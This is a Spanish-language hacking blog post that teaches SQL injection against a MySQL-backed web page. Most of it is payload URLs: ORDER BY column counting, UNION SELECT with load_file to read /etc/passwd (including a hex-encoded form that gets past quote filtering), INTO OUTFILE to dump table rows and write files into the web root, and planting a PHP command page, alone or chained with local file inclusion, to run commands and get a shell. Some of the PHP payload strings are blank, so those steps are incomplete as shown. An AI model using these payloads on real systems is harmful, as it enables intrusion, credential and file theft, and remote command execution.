Blind SQL Injection

Los ataques de inyeccion SQL son tambien muy conocidos y muy documentados, Unicamente comentare la técnica que nos permite leer ficheros del sistema.

Ficheros locales

Ante una web vulnerable a ataques SQL, en el caso de que el usuario con el que conectamos a la base de datos tenga permisos para usar el comando load_file de MySQL, podemos cargar cualquier archivo del sistema, por ejemplo, /etc/passwd.

Ejemplo:

Tabla: users(id int, user char(25), pass char(25), mail char(255));

Datos en la tabla:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
2 usuario 655ed32360580ac468cb448722a1cd4f usuario@host

 

Codigo vulnerable: Partimos de una tabla que desconocemos, con unos campos que desconocemos y con un MySQL que no muestra los errores por pantalla.

Llamada correcta que muestra el mail del usuario 2:
http://host/?id=2

Intentamos reordenar los resultados del query mediante injeccion de SQL:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error

Porque da error en ORDER BY 5? si usamos ORDER BY 2 le estamos diciendo que nos muestre los resultados ordenador por el user, con ORDER BY 3, le decimos que ordene la salida segun la columna pass, pero como solo existen 4 columnas en esa tabla, ORDER BY 5 provoca un error.

Para que sirve esto? pues para conocer el numero de columnas que tiene la tabla sobre la que se esta realizando la query.

Modificamos la salida por pantalla (ya sabemos que hay 4 columnas): http://host/?id=-1 UNION SELECT 1,2,3,4

¿Que hace esto? pues busca el usuario con ID=-1, que devolvera 0 resultados y creara una nueva fila con los datos que hemos introducido. Por que ponemos ID=-1? veamos un ejemplo practico:

Entrada:
http://host/?id=2 UNION SELECT 1,2,3,4

Salida:
2 usuario 655ed32360580ac468cb448722a1cd4f usuario@host
1 2 3 4

 

Como en pantalla muestra solo el primer resultado, la salida sera:
El mail del usuario es: usuario@host

En caso de poner ID=-1 solo obtendremos los datos que hemos inyectado:

Entrada:
http://host/?id=-1 UNION SELECT 1,2,3,4

Salida:
1 2 3 4

 

La salida sera:
El mail del usuario es: 4

Aprovechamos la columna 4 (que aparece por pantalla) para inyectar:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');

Esto mostraría por pantalla el contenido de /etc/passwd en el lugar donde debería aparecer el mail del usuario (siempre que el usuario con el que accedemos a la base de datos tenga permisos para hacer un load_file).

En el caso de que las magic_quotes esten activas y no podamos escribir comillas, podemos sustituir el fichero por su equivalente en hex:
http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

Una diferencia entre leer archivos usando LFI y leerlos usando inyecciones SQL es que el usuario con el que leemos es diferente. En el primer caso usaremos un usuario apache y en el segundo un usuario mysql. Esto no es muy importante pero puede servir a la hora de leer archivos con ciertos permisos.

Obteniendo datos sin fuerza bruta

Supongamos la siguiente situacion con el mismo codigo vulnerable de antes:

Tabla: users(id int, user char(25), pass char(25), mail char(255));

Datos en la tabla:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host
2 usuario 655ed32360580ac468cb448722a1cd4f usuario@host

 

Codigo vulnerable: Podemos ver toda la fila de datos de la tabla si hacemos lo siguiente:
http://host/?id=1 outfile "/tmp/sql.txt"
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');

Y veremos que el contenido de /tmp/sql.txt es:
1 admin 23e4ad2360f4ef4268cb44871375a5cd admin@host

 

Como podemos apreciar, hemos sacado todos los datos del user con id 1 sin necesidad de conocer el nombre de la tabla ni el de ningun campo. De la misma forma podemos sacar los datos del resto de usuarios.

El problema de este ataque es que solo podemos ver los datos de la tabla sobre la que se esta realizando la consulta.

Usando esta tecnica podemos tambien copiar ficheros del sistema en el directorio local para acceder a ellos por web, por ejemplo:
http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile "/var/www/host.com/www/passwd"

O también podemos crear PHPs. Por ejemplo: http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/phpinfo.php"

Ejecutando comandos remotamente

En este caso es sencillo provocar un error que nos muestre por pantalla la ruta donde se encuentra la web. Conociendola podemos crear un PHP con el codigo que nos permita ejecutar comandos:
http://host/?id=-1 union select 1,"",1 into outfile "/var/www/host.com/www/cmd.php"

Luego bastaria con cargar:
http://host/cmd.php?cmd=uname -a

Si la web es ademas vulnerable a ataques de LFI podemos escribir el codigo en cualquier lugar en el que tengamos permisos de escritura. Por ejemplo en /tmp:

Primero inyectamos el codigo en un fichero en /tmp:
http://host/?id=-1 union select 1,"",1,1 into outfile "/tmp/sql.txt"

Luego usamos LFI para ejecutar comandos:
http://host/?file=../../../tmp/sql.txt&cmd=uname -a

Si hemos conseguido crear un fichero con nuestro codigo, podemos conseguir una shell.
Nombre

Accesibilidad Actualidad Adobe Flash AirPods Amazon Amazon Music Unlimited Amazon Protect AMD Android Android 6.0 Marshmallow Android Auto Android Nougat Android Things Android Wear Animación Anti-Virus Aplicaciones Aplicaciones Web App Store Apple apple ipad 3 Audio AVG Base64 Bases de datos Black Friday BlackBerry BlackBerry 10 Blizzard Blogger Bromas Ciencia Clonaciones CMS Codificación Código Fuente Códigos Compras por Internet Consolas Contraseñas Cookies Cross site scripting Darknet Dart DDoS Deface Defacing Desarrolladores Diseño Web DOS Drivers Drones Experiencia Exploit Extensiones Exynos 9 Facebook Facebook Events Facebook Messenger fingerprinting Firefox 12 Fraudes Gadgets Gaming General GitHub Gmail Google Google Allo Google Analytics Google App Maker Google Chrome Google Drive Google Flights Google Imágenes Google Maps Google Pixel Google Play Google+ Gráficas Hacker Hackers Hacking Hacks Hardware HD Herramientas HI5 Hijacking htaccess HTML humans.txt Humor Gráfico Infección Informática Ingeniería Social Instagram Intel Internet Inyeccion iOS iOS 10 ip iPad 3 Iphone iPhone 7 iPhone 8 Javascript Juegos Kurt Cobain Land LinkedIn Linux Live HTTP headers Malware Mantenimiento Memorias Memorias USB MicroSD Microsoft Móviles Mozilla Firefox Música MySQL Navegadores Nexus Nintendo Nintendo NX Nintendo Switch Notebooks Noticias NVIDIA Ocio Opera Ordenador Overclocking Passwords PayPal Personal Phishing PHP Phreaking Plugins Portatiles Privacidad Procesadores Programación Programas Qualcomm Ransomware Realidad Virtual Redes Inalambricas Redes Sociales Redes y Conexiones Routers Samsung Samsung Galaxy Note 8 Samsung Galaxy S8 SD Seguridad Seguridad Informática SEO Servicios Web Sesiones Web Sistemas Operativos Skype Smartphones SMTP Flood Snap Inc Snapchat Snapdragon Snooping Software Sonico Sony Sony Xperia Source routing Spectacles Spotify Steam Steve Jobs TeamViewer Teclado Tecnología Telefonía Telegram Tips Tp-Link Tráfico Web Trailers Trasteando Troyanos Trucos Tutoriales Twitter Uber Ultrabooks USB Utilidades VBScript vBulletin Video Streaming VideoJuegos Videos Vídeos Virus Vulnerabilidades Vulnerabilidades Web Web WhatsApp Wifi Windows Windows 10 Windows 7 Windows 8 Windows 8.1 Windows Live Windows XP WordPress XBOX 360 XSS Yahoo! Youtube
false
ltr
item
Carluys Blog: Blind SQL Injection
Blind SQL Injection
Carluys Blog
https://carluys.blogspot.com/2014/01/blind-sql-injection.html
https://carluys.blogspot.com/
https://carluys.blogspot.com/
https://carluys.blogspot.com/2014/01/blind-sql-injection.html
true
5177014300366239033
UTF-8
Not found any posts Not found any related posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU Tag ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Contents Ver también relacionados Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS CONTENT IS PREMIUM Please share to unlock Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy